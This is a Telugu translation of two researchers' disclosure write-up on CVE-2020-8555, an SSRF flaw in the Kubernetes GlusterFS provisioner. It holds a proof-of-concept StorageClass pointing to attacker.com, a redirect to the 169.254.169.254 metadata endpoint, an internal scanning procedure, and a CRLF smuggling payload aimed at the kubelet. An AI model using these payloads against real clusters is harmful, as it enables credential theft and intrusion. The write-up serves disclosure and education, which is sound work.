ఇది కుబెర్నెట్స్ దుర్బలత్వాల గురించి మాత్రమే కాదు...

గమనిక. అనువాదం.: ఈ వ్యాసం యొక్క రచయితలు వారు దుర్బలత్వాన్ని ఎలా కనుగొనగలిగారు అనే దాని గురించి వివరంగా మాట్లాడతారు CVE-2020–8555 కుబెర్నెటీస్‌లో. ప్రారంభంలో ఇది చాలా ప్రమాదకరమైనదిగా అనిపించనప్పటికీ, ఇతర కారకాలతో కలిపి దాని క్లిష్టత కొంతమంది క్లౌడ్ ప్రొవైడర్లకు గరిష్టంగా మారింది. అనేక సంస్థలు వారి పనికి నిపుణులకు ఉదారంగా బహుమతినిచ్చాయి.

మనం ఎవరం

మేము ఇద్దరు ఫ్రెంచ్ భద్రతా పరిశోధకులు కుబెర్నెట్స్‌లో ఒక దుర్బలత్వాన్ని సంయుక్తంగా కనుగొన్నాము. మా పేర్లు Brice Agras మరియు Christophe Hauquiert, కానీ అనేక బగ్ బౌంటీ ప్లాట్‌ఫారమ్‌లలో మమ్మల్ని వరుసగా Reeverzax మరియు Hach అని పిలుస్తారు:

• బ్రైస్ ఆగ్రాస్ - గ్రూప్ ఆస్టెన్ కంపెనీ;
• క్రిస్టోఫ్ హక్విర్ట్ - నోకియాలో కుబెర్నెటెస్ ఆర్కిటెక్ట్.

ఏం జరిగింది?

ఈ కథనం బగ్ వేటగాళ్ల జీవితంలో (కనీసం ఇప్పటికైనా) ఒక సాధారణ పరిశోధన ప్రాజెక్ట్ అనుకోకుండా ఎలా అత్యంత ఉత్తేజకరమైన సాహసంగా మారిందో పంచుకోవడానికి మా మార్గం.

మీకు బహుశా తెలిసినట్లుగా, బగ్ వేటగాళ్ళు కొన్ని ముఖ్యమైన లక్షణాలను కలిగి ఉన్నారు:

• వారు పిజ్జా మరియు బీరుతో జీవిస్తారు;
• అందరూ నిద్రపోతున్నప్పుడు వారు పని చేస్తారు.

మేము ఈ నియమాలకు మినహాయింపు కాదు: మేము సాధారణంగా వారాంతాల్లో కలుసుకుంటాము మరియు హ్యాకింగ్ కోసం నిద్రలేని రాత్రులు గడుపుతాము. కానీ ఈ రాత్రులలో ఒకటి చాలా అసాధారణ రీతిలో ముగిసింది.

ప్రారంభంలో మేము పాల్గొనడం గురించి చర్చించడానికి సమావేశమయ్యాము సిటిఎఫ్ మరుసటి రోజు. నిర్వహించబడే సేవా వాతావరణంలో కుబెర్నెట్స్ భద్రత గురించి సంభాషణ సందర్భంగా, మేము SSRF యొక్క పాత ఆలోచనను గుర్తుచేసుకున్నాము (సర్వర్-సైడ్ అభ్యర్థన ఫోర్జరీ) మరియు దీనిని దాడి స్క్రిప్ట్‌గా ఉపయోగించాలని నిర్ణయించుకున్నారు.

రాత్రి 11 గంటలకు మేము మా పరిశోధన చేయడానికి కూర్చున్నాము మరియు ఫలితాలతో చాలా సంతృప్తి చెంది ఉదయాన్నే నిద్రపోయాము. ఈ పరిశోధన కారణంగానే మేము MSRC బగ్ బౌంటీ ప్రోగ్రామ్‌ను చూడగలిగాము మరియు ప్రత్యేక హక్కును పెంచే దోపిడీతో ముందుకు వచ్చాము.

అనేక వారాలు/నెలలు గడిచాయి మరియు మా ఊహించని ఫలితం అజూర్ క్లౌడ్ బగ్ బౌంటీ చరిత్రలో అత్యధిక రివార్డ్‌లలో ఒకటిగా నిలిచింది - మేము కుబెర్నెటెస్ నుండి అందుకున్న దానితో పాటు!

మా పరిశోధన ప్రాజెక్ట్ ఆధారంగా, Kubernetes ఉత్పత్తి భద్రతా కమిటీ ప్రచురించింది CVE-2020–8555.

ఇప్పుడు నేను కనుగొనబడిన దుర్బలత్వం గురించి సాధ్యమైనంతవరకు సమాచారాన్ని వ్యాప్తి చేయాలనుకుంటున్నాను. మీరు కనుగొన్నందుకు మరియు సాంకేతిక వివరాలను ఇన్ఫోసెక్ కమ్యూనిటీలోని ఇతర సభ్యులతో భాగస్వామ్యం చేస్తారని మేము ఆశిస్తున్నాము!

కాబట్టి ఇదిగో మా కథ...

సందర్భంలో

ఏమి జరిగిందో అర్థం చేసుకోవడానికి, ముందుగా క్లౌడ్ మేనేజ్డ్ ఎన్విరాన్మెంట్‌లో కుబెర్నెట్స్ ఎలా పనిచేస్తుందో చూద్దాం.

అటువంటి వాతావరణంలో మీరు కుబెర్నెట్స్ క్లస్టర్‌ను ఇన్‌స్టాంటియేట్ చేసినప్పుడు, మేనేజ్‌మెంట్ లేయర్ సాధారణంగా క్లౌడ్ ప్రొవైడర్ యొక్క బాధ్యతగా ఉంటుంది:

కంట్రోల్ లేయర్ క్లౌడ్ ప్రొవైడర్ చుట్టుకొలత వద్ద ఉంది, అయితే కుబెర్నెట్స్ నోడ్‌లు కస్టమర్ చుట్టుకొలత వద్ద ఉన్నాయి

వాల్యూమ్‌లను డైనమిక్‌గా కేటాయించడానికి, వాటిని బాహ్య నిల్వ బ్యాకెండ్ నుండి డైనమిక్‌గా అందించడానికి మరియు వాటిని PVC (పెర్సిస్టెంట్ వాల్యూమ్ క్లెయిమ్, అంటే వాల్యూమ్ కోసం అభ్యర్థన)తో పోల్చడానికి ఒక మెకానిజం ఉపయోగించబడుతుంది.

అందువలన, PVC సృష్టించబడిన తర్వాత మరియు K8s క్లస్టర్‌లోని స్టోరేజ్‌క్లాస్‌కు కట్టుబడి, వాల్యూమ్‌ను అందించడానికి తదుపరి చర్యలు kube/Cloud కంట్రోలర్ మేనేజర్ ద్వారా తీసుకోబడతాయి (దాని ఖచ్చితమైన పేరు విడుదలపై ఆధారపడి ఉంటుంది). (గమనిక. అనువాదం.: క్లౌడ్ ప్రొవైడర్‌లలో ఒకరికి దాని అమలు యొక్క ఉదాహరణను ఉపయోగించి మేము ఇప్పటికే CCM గురించి మరింత వ్రాసాము ఇక్కడ.)

కుబెర్నెటీస్ మద్దతు ఇచ్చే అనేక రకాల ప్రొవిజనర్‌లు ఉన్నాయి: వాటిలో చాలా వరకు చేర్చబడ్డాయి ఆర్కెస్ట్రేటర్ కోర్, ఇతరులు క్లస్టర్‌లోని పాడ్‌లలో ఉంచబడిన అదనపు ప్రొవిజనర్‌లచే నిర్వహించబడతారు.

మా పరిశోధనలో, మేము అంతర్గత వాల్యూమ్ ప్రొవిజనింగ్ మెకానిజంపై దృష్టి సారించాము, ఇది క్రింద వివరించబడింది:

అంతర్నిర్మిత కుబెర్నెట్స్ ప్రొవిజనర్‌ని ఉపయోగించి వాల్యూమ్‌ల డైనమిక్ ప్రొవిజనింగ్

సంక్షిప్తంగా, నిర్వహించబడే వాతావరణంలో Kubernetes నియోగించినప్పుడు, కంట్రోలర్ మేనేజర్ క్లౌడ్ ప్రొవైడర్ యొక్క బాధ్యత, కానీ వాల్యూమ్ సృష్టి అభ్యర్థన (పైన ఉన్న రేఖాచిత్రంలో సంఖ్య 3) క్లౌడ్ ప్రొవైడర్ యొక్క అంతర్గత నెట్‌వర్క్ నుండి నిష్క్రమిస్తుంది. మరియు ఇక్కడే విషయాలు నిజంగా ఆసక్తికరంగా ఉంటాయి!

హ్యాకింగ్ దృశ్యం

ఈ విభాగంలో, మేము పైన పేర్కొన్న వర్క్‌ఫ్లో యొక్క ప్రయోజనాన్ని ఎలా పొందాము మరియు క్లౌడ్ సర్వీస్ ప్రొవైడర్ యొక్క అంతర్గత వనరులను ఎలా యాక్సెస్ చేసామో వివరిస్తాము. అంతర్గత ఆధారాలను పొందడం లేదా అధికారాలను పెంచడం వంటి నిర్దిష్ట చర్యలను మీరు ఎలా నిర్వహించవచ్చో కూడా ఇది మీకు చూపుతుంది.

ఒక సాధారణ మానిప్యులేషన్ (ఈ సందర్భంలో, సర్వీస్ సైడ్ రిక్వెస్ట్ ఫోర్జరీ) క్లయింట్ వాతావరణాన్ని దాటి నిర్వహించబడే K8ల క్రింద వివిధ సర్వీస్ ప్రొవైడర్ల క్లస్టర్‌లలోకి వెళ్లడానికి సహాయపడింది.

మా పరిశోధనలో మేము GlusterFS ప్రొవిజనర్‌పై దృష్టి సారించాము. ఈ సందర్భంలో తదుపరి చర్యల క్రమం వివరించబడినప్పటికీ, Quobyte, StorageOS మరియు ScaleIO కూడా అదే దుర్బలత్వానికి లోనవుతాయి.

డైనమిక్ వాల్యూమ్ ప్రొవిజనింగ్ మెకానిజం దుర్వినియోగం

నిల్వ తరగతి విశ్లేషణ సమయంలో గ్లస్టర్ఎఫ్ఎస్ గోలాంగ్ క్లయింట్ సోర్స్ కోడ్‌లో మేము గమనించారువాల్యూమ్ సృష్టి సమయంలో పంపబడిన మొదటి HTTP అభ్యర్థన (3)లో, పారామీటర్‌లోని అనుకూల URL చివరి వరకు resturl జోడించబడింది /volumes.

మేము జోడించడం ద్వారా ఈ అదనపు మార్గాన్ని వదిలించుకోవాలని నిర్ణయించుకున్నాము # పరామితిలో resturl. సెమీ బ్లైండ్ SSRF దుర్బలత్వాన్ని పరీక్షించడానికి మేము ఉపయోగించిన మొదటి YAML కాన్ఫిగరేషన్ ఇక్కడ ఉంది (మీరు సెమీ బ్లైండ్ లేదా హాఫ్ బ్లైండ్ SSRF గురించి మరింత చదువుకోవచ్చు, ఉదాహరణకు, ఇక్కడ - సుమారు అనువాదం.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

అప్పుడు మేము కుబెర్నెటెస్ క్లస్టర్‌ను రిమోట్‌గా నిర్వహించడానికి బైనరీని ఉపయోగించాము kubectl. సాధారణంగా, క్లౌడ్ ప్రొవైడర్లు (అజూర్, గూగుల్, AWS, మొదలైనవి) ఈ యుటిలిటీలో ఉపయోగం కోసం ఆధారాలను పొందేందుకు మిమ్మల్ని అనుమతిస్తాయి.

దీనికి ధన్యవాదాలు, నేను నా "ప్రత్యేక" ఫైల్‌ను ఉపయోగించగలిగాను. Kube-controller-manager ఫలితంగా వచ్చిన HTTP అభ్యర్థనను అమలు చేసారు:

kubectl create -f sc-poc.yaml

దాడి చేసేవారి కోణం నుండి సమాధానం

దీని తర్వాత కొంతకాలం తర్వాత, మేము లక్ష్య సర్వర్ నుండి - ఆదేశాల ద్వారా HTTP ప్రతిస్పందనను కూడా పొందగలిగాము describe pvc లేదా get events kubectl లో. మరియు నిజానికి: ఈ డిఫాల్ట్ కుబెర్నెట్స్ డ్రైవర్ దాని హెచ్చరికలు/ఎర్రర్ మెసేజ్‌లలో చాలా పదజాలంతో ఉంది...

లింక్‌తో కూడిన ఉదాహరణ ఇక్కడ ఉంది https://www.google.frపరామితిగా సెట్ చేయబడింది resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ఈ విధానంలో, మేము వంటి ప్రశ్నలకే పరిమితమయ్యాము HTTP పోస్ట్ మరియు రిటర్న్ కోడ్ అయినట్లయితే ప్రతిస్పందన శరీరం యొక్క కంటెంట్‌లను పొందలేరు 201. అందువల్ల, మేము అదనపు పరిశోధనను నిర్వహించాలని నిర్ణయించుకున్నాము మరియు ఈ హ్యాకింగ్ దృష్టాంతాన్ని కొత్త విధానాలతో విస్తరించాము.

మా పరిశోధన యొక్క పరిణామం

• అధునాతన దృశ్యం #1: అంతర్గత డేటాను సేకరించడానికి మరింత సౌకర్యవంతమైన మార్గాన్ని అందించడానికి HTTP పద్ధతిని మార్చడానికి బాహ్య సర్వర్ నుండి 302 దారిమార్పును ఉపయోగించడం.
• అధునాతన దృశ్యం #2: LAN స్కానింగ్ మరియు అంతర్గత వనరుల ఆవిష్కరణను ఆటోమేట్ చేయండి.
• అధునాతన దృశ్యం #3: HTTP CRLF + స్మగ్లింగ్ ("అభ్యర్థన స్మగ్లింగ్") ఉపయోగించి అనుకూల HTTP అభ్యర్థనలను సృష్టించడం మరియు kube-కంట్రోలర్ లాగ్‌ల నుండి సేకరించిన డేటాను తిరిగి పొందడం.

సాంకేతిక వివరములు

• పరిశోధన ఉత్తర ఐరోపా ప్రాంతంలో కుబెర్నెటెస్ వెర్షన్ 1.12తో Azure Kubernetes సర్వీస్ (AKS)ని ఉపయోగించింది.
• పైన వివరించిన దృశ్యాలు కుబెర్నెటెస్ యొక్క తాజా విడుదలలలో అమలు చేయబడ్డాయి, మూడవ దృశ్యం మినహా, ఎందుకంటే అతనికి గోలాంగ్ వెర్షన్ ≤ 1.12తో నిర్మించిన కుబెర్నెట్స్ అవసరం.
• దాడి చేసేవారి బాహ్య సర్వర్ - https://attacker.com.

అధునాతన దృశ్యం #1: HTTP POST అభ్యర్థనను GETకి మళ్లించడం మరియు సున్నితమైన డేటాను స్వీకరించడం

దాడి చేసేవారి సర్వర్ తిరిగి రావడానికి కాన్ఫిగరేషన్ ద్వారా అసలు పద్ధతి మెరుగుపరచబడింది 302 HTTP రీట్‌కోడ్POST అభ్యర్థనను GET అభ్యర్థనగా మార్చడానికి (రేఖాచిత్రంలో దశ 4):

మొదటి అభ్యర్థన (3) క్లయింట్ నుండి వస్తోంది గ్లస్టర్ఎఫ్ఎస్ (కంట్రోలర్ మేనేజర్), POST రకాన్ని కలిగి ఉంది. ఈ దశలను అనుసరించడం ద్వారా మేము దానిని GETగా మార్చగలిగాము:

• పారామీటర్‌గా resturl StorageClassలో ఇది సూచించబడింది http://attacker.com/redirect.php.
• endpoint https://attacker.com/redirect.php కింది స్థాన హెడర్‌తో 302 HTTP స్థితి కోడ్‌తో ప్రతిస్పందిస్తుంది: http://169.254.169.254. ఇది ఏదైనా ఇతర అంతర్గత వనరు కావచ్చు - ఈ సందర్భంలో, దారిమార్పు లింక్ కేవలం ఉదాహరణగా ఉపయోగించబడుతుంది.
• అప్రమేయంగా net/http లైబ్రరీ Golang అభ్యర్థనను దారి మళ్లిస్తుంది మరియు POSTని 302 స్థితి కోడ్‌తో GETగా మారుస్తుంది, దీని ఫలితంగా లక్ష్య వనరుకి HTTP GET అభ్యర్థన వస్తుంది.

HTTP ప్రతిస్పందన బాడీని చదవడానికి మీరు చేయాల్సి ఉంటుంది describe PVC వస్తువు:

kubectl describe pvc xxx

మేము స్వీకరించగలిగిన JSON ఆకృతిలో HTTP ప్రతిస్పందన యొక్క ఉదాహరణ ఇక్కడ ఉంది:

ఆ సమయంలో కనుగొనబడిన దుర్బలత్వం యొక్క సామర్థ్యాలు క్రింది అంశాల కారణంగా పరిమితం చేయబడ్డాయి:

• అవుట్‌గోయింగ్ అభ్యర్థనలో HTTP హెడర్‌లను ఇన్‌సర్ట్ చేయలేకపోవడం.
• శరీరంలోని పారామితులతో POST అభ్యర్థనను అమలు చేయడంలో అసమర్థత (ఇది నడుస్తున్న etcd ఉదాహరణ నుండి కీ విలువను అభ్యర్థించడం సౌకర్యంగా ఉంటుంది 2379 ఎన్‌క్రిప్ట్ చేయని HTTP ఉపయోగించబడితే పోర్ట్).
• స్థితి కోడ్ 200 మరియు ప్రతిస్పందనలో JSON కంటెంట్-రకం లేనప్పుడు ప్రతిస్పందన శరీర కంటెంట్‌ని తిరిగి పొందలేకపోవడం.

అధునాతన దృశ్యం #2: స్థానిక నెట్‌వర్క్‌ను స్కాన్ చేస్తోంది

క్లౌడ్ ప్రొవైడర్ యొక్క అంతర్గత నెట్‌వర్క్‌ను స్కాన్ చేయడానికి మరియు ప్రతిస్పందనల ఆధారంగా వివిధ శ్రవణ సేవలను (మెటాడేటా ఉదాహరణ, కుబెలెట్, etcd, మొదలైనవి) పోల్ చేయడానికి ఈ హాఫ్-బ్లైండ్ SSRF పద్ధతి ఉపయోగించబడింది. kube కంట్రోలర్.

మొదట, కుబెర్నెటెస్ భాగాల యొక్క ప్రామాణిక లిజనింగ్ పోర్ట్‌లు నిర్ణయించబడ్డాయి (8443, 10250, 10251, మొదలైనవి), ఆపై మేము స్కానింగ్ ప్రక్రియను ఆటోమేట్ చేయాల్సి ఉంటుంది.

వనరులను స్కానింగ్ చేసే ఈ పద్ధతి చాలా నిర్దిష్టంగా ఉందని మరియు క్లాసిక్ స్కానర్‌లు మరియు SSRF సాధనాలకు అనుకూలంగా లేదని గమనించి, మొత్తం ప్రక్రియను ఆటోమేట్ చేసే బాష్ స్క్రిప్ట్‌లో మా స్వంత వర్కర్లను సృష్టించాలని మేము నిర్ణయించుకున్నాము.

ఉదాహరణకు, అంతర్గత నెట్‌వర్క్ యొక్క 172.16.0.0/12 పరిధిని త్వరగా స్కాన్ చేయడానికి, 15 మంది కార్మికులు సమాంతరంగా ప్రారంభించబడ్డారు. ఎగువ IP పరిధి ఉదాహరణగా మాత్రమే ఎంచుకోబడింది మరియు మీ నిర్దిష్ట సేవా ప్రదాత యొక్క IP పరిధికి మార్చబడవచ్చు.

ఒక IP చిరునామా మరియు ఒక పోర్ట్‌ను స్కాన్ చేయడానికి, మీరు ఈ క్రింది వాటిని చేయాలి:

• చివరిగా తనిఖీ చేసిన StorageClassని తొలగించండి;
• మునుపటి ధృవీకరించబడిన పెర్సిస్టెంట్ వాల్యూమ్ క్లెయిమ్‌ను తీసివేయండి;
• IP మరియు పోర్ట్ విలువలను మార్చండి sc.yaml;
• కొత్త IP మరియు పోర్ట్‌తో StorageClassని సృష్టించండి;
• కొత్త PVCని సృష్టించండి;
• PVC కోసం వివరించడాన్ని ఉపయోగించి స్కాన్ ఫలితాలను సంగ్రహించండి.

అధునాతన దృశ్యం #3: CRLF ఇంజెక్షన్ + కుబెర్నెటెస్ క్లస్టర్ యొక్క “పాత” వెర్షన్‌లలో HTTPని అక్రమంగా రవాణా చేయడం

దీనికి అదనంగా ప్రొవైడర్ క్లయింట్‌లకు K8s క్లస్టర్ యొక్క పాత వెర్షన్‌లను అందించినట్లయితే и kube-controller-manager యొక్క లాగ్‌లకు వారికి యాక్సెస్‌ను ఇచ్చింది, ప్రభావం మరింత ముఖ్యమైనదిగా మారింది.

దాడి చేసే వ్యక్తి తన అభీష్టానుసారం పూర్తి HTTP ప్రతిస్పందనను పొందేందుకు రూపొందించిన HTTP అభ్యర్థనలను మార్చడం నిజానికి మరింత సౌకర్యవంతంగా ఉంటుంది.

చివరి దృష్టాంతాన్ని అమలు చేయడానికి, ఈ క్రింది షరతులను నెరవేర్చాలి:

• వినియోగదారు తప్పనిసరిగా kube-controller-manager లాగ్‌లకు యాక్సెస్ కలిగి ఉండాలి (ఉదాహరణకు, Azure LogInsightsలో).
• కుబెర్నెటెస్ క్లస్టర్ తప్పనిసరిగా 1.12 కంటే తక్కువ గోలాంగ్ వెర్షన్‌ను ఉపయోగించాలి.

మేము GlusterFS Go క్లయింట్ మరియు నకిలీ టార్గెట్ సర్వర్ మధ్య కమ్యూనికేషన్‌ను అనుకరించే స్థానిక వాతావరణాన్ని అమలు చేసాము (మేము ప్రస్తుతానికి PoCని ప్రచురించడం మానేస్తాము).

కనుగొనబడింది దుర్బలత్వం, 1.12 కంటే తక్కువ గోలాంగ్ వెర్షన్‌లను ప్రభావితం చేస్తుంది మరియు HTTP స్మగ్లింగ్/CRLF దాడులను నిర్వహించడానికి హ్యాకర్‌లను అనుమతిస్తుంది.

పైన వివరించిన సగం బ్లైండ్ SSRFని కలపడం ద్వారా вместе దీనితో, మేము kube-controller-manager తర్వాత ప్రాసెస్ చేసిన హెడర్‌లు, HTTP పద్ధతి, పారామితులు మరియు డేటాతో సహా మా ఇష్టానుసారం అభ్యర్థనలను పంపగలిగాము.

ఇక్కడ ఒక పరామితిలో పని చేసే "ఎర" యొక్క ఉదాహరణ resturl StorageClass, ఇదే విధమైన దాడి దృశ్యాన్ని అమలు చేస్తుంది:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ఫలితం లోపం అయాచిత ప్రతిస్పందన, కంట్రోలర్ లాగ్‌లలో రికార్డ్ చేయబడిన సందేశం. డిఫాల్ట్‌గా ఎనేబుల్ చేయబడిన వెర్బోసిటీకి ధన్యవాదాలు, HTTP ప్రతిస్పందన సందేశం యొక్క కంటెంట్‌లు కూడా అక్కడ సేవ్ చేయబడతాయి.

భావన యొక్క రుజువు యొక్క చట్రంలో ఇది మా అత్యంత ప్రభావవంతమైన "ఎర".

ఈ విధానాన్ని ఉపయోగించి, మేము వివిధ నిర్వహించబడే k8s ప్రొవైడర్‌ల క్లస్టర్‌లపై ఈ క్రింది దాడులలో కొన్నింటిని నిర్వహించగలిగాము: మెటాడేటా ఇన్‌స్టాన్స్‌లపై ఆధారాలతో ప్రత్యేకాధికార పెరుగుదల, etcd మాస్టర్ ఇన్‌స్టాన్స్‌లపై (ఎన్‌క్రిప్ట్ చేయని) HTTP అభ్యర్థనల ద్వారా మాస్టర్ DoS మొదలైనవి.

ప్రభావాలు

మేము కనుగొన్న SSRF దుర్బలత్వానికి సంబంధించి Kubernetes అధికారిక ప్రకటనలో, ఇది రేట్ చేయబడింది CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. మేము కుబెర్నెట్స్ చుట్టుకొలతతో అనుబంధించబడిన దుర్బలత్వాన్ని మాత్రమే పరిగణనలోకి తీసుకుంటే, సమగ్రత వెక్టర్ (ఇంటిగ్రిటీ వెక్టర్) అది అర్హత పొందింది గమనిక.

అయినప్పటికీ, నిర్వహించబడే సేవా వాతావరణం (మరియు ఇది మా పరిశోధనలో అత్యంత ఆసక్తికరమైన భాగం!) సందర్భంలో సాధ్యమయ్యే పరిణామాలను అంచనా వేయడం వలన దుర్బలత్వాన్ని రేటింగ్‌గా తిరిగి వర్గీకరించడానికి మమ్మల్ని ప్రేరేపించింది. క్లిష్టమైన CVSS10/10 చాలా మంది పంపిణీదారుల కోసం.

క్లౌడ్ పరిసరాలలో సంభావ్య ప్రభావాలను అంచనా వేసేటప్పుడు మా పరిశీలనలను అర్థం చేసుకోవడంలో మీకు సహాయపడే అదనపు సమాచారం దిగువన ఉంది:

సమగ్రత

• ఆర్జిత అంతర్గత ఆధారాలను ఉపయోగించి రిమోట్‌గా ఆదేశాలను అమలు చేయండి.
• స్థానిక నెట్‌వర్క్‌లో కనిపించే ఇతర వనరులతో IDOR (అసురక్షిత డైరెక్ట్ ఆబ్జెక్ట్ రిఫరెన్స్) పద్ధతిని ఉపయోగించి పై దృశ్యాన్ని పునరుత్పత్తి చేయడం.

గోప్యత

• దాడి రకం పార్శ్వ ఉద్యమం క్లౌడ్ ఆధారాలను దొంగిలించినందుకు ధన్యవాదాలు (ఉదాహరణకు, మెటాడేటా API).
• స్థానిక నెట్‌వర్క్‌ను స్కాన్ చేయడం ద్వారా సమాచారాన్ని సేకరించడం (SSH వెర్షన్, HTTP సర్వర్ వెర్షన్, ...)ని నిర్ణయించడం.
• మెటాడేటా API వంటి అంతర్గత APIలను పోలింగ్ చేయడం ద్వారా ఉదాహరణ మరియు మౌలిక సదుపాయాల సమాచారాన్ని సేకరించండి (http://169.254.169.254,…).
• క్లౌడ్ ఆధారాలను ఉపయోగించి కస్టమర్ డేటాను దొంగిలించడం.

లభ్యత

దాడి వెక్టర్‌లకు సంబంధించిన అన్ని దోపిడీ దృశ్యాలు సమగ్రత, విధ్వంసక చర్యలకు ఉపయోగించబడుతుంది మరియు క్లయింట్ చుట్టుకొలత (లేదా మరేదైనా) అందుబాటులో లేని ప్రధాన సందర్భాలకు దారితీయవచ్చు.

మేము నిర్వహించబడే K8s వాతావరణంలో ఉన్నందున మరియు సమగ్రతపై ప్రభావాన్ని అంచనా వేస్తున్నందున, లభ్యతను ప్రభావితం చేసే అనేక దృశ్యాలను మనం ఊహించవచ్చు. అదనపు ఉదాహరణలు etcd డేటాబేస్ పాడు చేయడం లేదా Kubernetes APIకి క్లిష్టమైన కాల్ చేయడం.

కాలనిర్ణయం

• డిసెంబర్ 6, 2019: దుర్బలత్వం MSRC బగ్ బౌంటీకి నివేదించబడింది.
• జనవరి 3, 2020: మేము భద్రతా సమస్యపై పని చేస్తున్నామని థర్డ్ పార్టీ Kubernetes డెవలపర్‌లకు తెలియజేసింది. మరియు SSRF ను అంతర్గత (ఇన్-కోర్) దుర్బలత్వంగా పరిగణించమని వారిని కోరింది. మేము సమస్య యొక్క మూలం గురించి సాంకేతిక వివరాలతో సాధారణ నివేదికను అందించాము.
• జనవరి 15, 2020: మేము Kubernetes డెవలపర్‌ల అభ్యర్థనపై (HackerOne ప్లాట్‌ఫారమ్ ద్వారా) సాంకేతిక మరియు సాధారణ నివేదికలను అందించాము.
• జనవరి 15, 2020: గత విడుదలల కోసం సగం బ్లైండ్ SSRF + CRLF ఇంజెక్షన్ ఇన్-కోర్ వల్నరబిలిటీగా పరిగణించబడుతుందని Kubernetes డెవలపర్‌లు మాకు తెలియజేసారు. మేము వెంటనే ఇతర సర్వీస్ ప్రొవైడర్ల పరిధులను విశ్లేషించడం ఆపివేసాము: K8s బృందం ఇప్పుడు మూలకారణాన్ని పరిశీలిస్తోంది.
• జనవరి 15, 2020: HackerOne ద్వారా MSRC రివార్డ్ అందుకుంది.
• జనవరి 16, 2020: కుబెర్నెటెస్ PSC (ఉత్పత్తి భద్రతా కమిటీ) దుర్బలత్వాన్ని గుర్తించింది మరియు ఎక్కువ సంఖ్యలో బాధితులు ఉన్నందున మార్చి మధ్య వరకు రహస్యంగా ఉంచమని కోరింది.
• ఫిబ్రవరి 11, 2020: Google VRP రివార్డ్ అందుకుంది.
• మార్చి 4, 2020: HackerOne ద్వారా Kubernetes రివార్డ్ అందుకుంది.
• మార్చి 15, 2020: COVID-19 పరిస్థితి కారణంగా వాస్తవానికి షెడ్యూల్ చేయబడిన పబ్లిక్ డిస్‌క్లోజర్ వాయిదా వేయబడింది.
• జూన్ 1, 2020: దుర్బలత్వం గురించి కుబెర్నెటెస్ + మైక్రోసాఫ్ట్ సంయుక్త ప్రకటన.

TL; DR

• మేము బీర్ తాగుతాము మరియు పిజ్జా తింటాము :)
• మేము కుబెర్నెటెస్‌లో ఇన్-కోర్ దుర్బలత్వాన్ని కనుగొన్నాము, అయితే అలా చేయాలనే ఉద్దేశం మాకు లేదు.
• మేము వివిధ క్లౌడ్ ప్రొవైడర్‌ల క్లస్టర్‌లపై అదనపు విశ్లేషణను నిర్వహించాము మరియు అదనపు అద్భుతమైన బోనస్‌లను పొందే దుర్బలత్వం వల్ల కలిగే నష్టాన్ని పెంచగలిగాము.
• ఈ వ్యాసంలో మీరు చాలా సాంకేతిక వివరాలను కనుగొంటారు. వాటిని మీతో చర్చించడానికి మేము సంతోషిస్తాము (ట్విట్టర్: @రీవర్‌జాక్స్ & @__hach_).
• అన్ని రకాల ఫార్మాలిటీలు మరియు రిపోర్టింగ్ ఊహించిన దాని కంటే చాలా ఎక్కువ సమయం పట్టిందని తేలింది.

సూచనలు

• Google గ్రూప్ kubernetes-security-announce;
• CVE-2020-8555;
• గోలాంగ్ సంచిక #30794;
• heketi/client/api/go-client/volume.go.

అనువాదకుని నుండి PS

మా బ్లాగులో కూడా చదవండి:

• «కుబెర్నెటెస్ బగ్ వేట అధికారికంగా తెరవబడింది";
• «లాగ్‌లను మౌంట్ చేయడం ద్వారా కుబెర్నెట్స్‌లోని పాడ్ నుండి నిష్క్రమించడం";
• «33+ కుబెర్నెట్స్ భద్రతా సాధనాలు".

మూలం: www.habr.com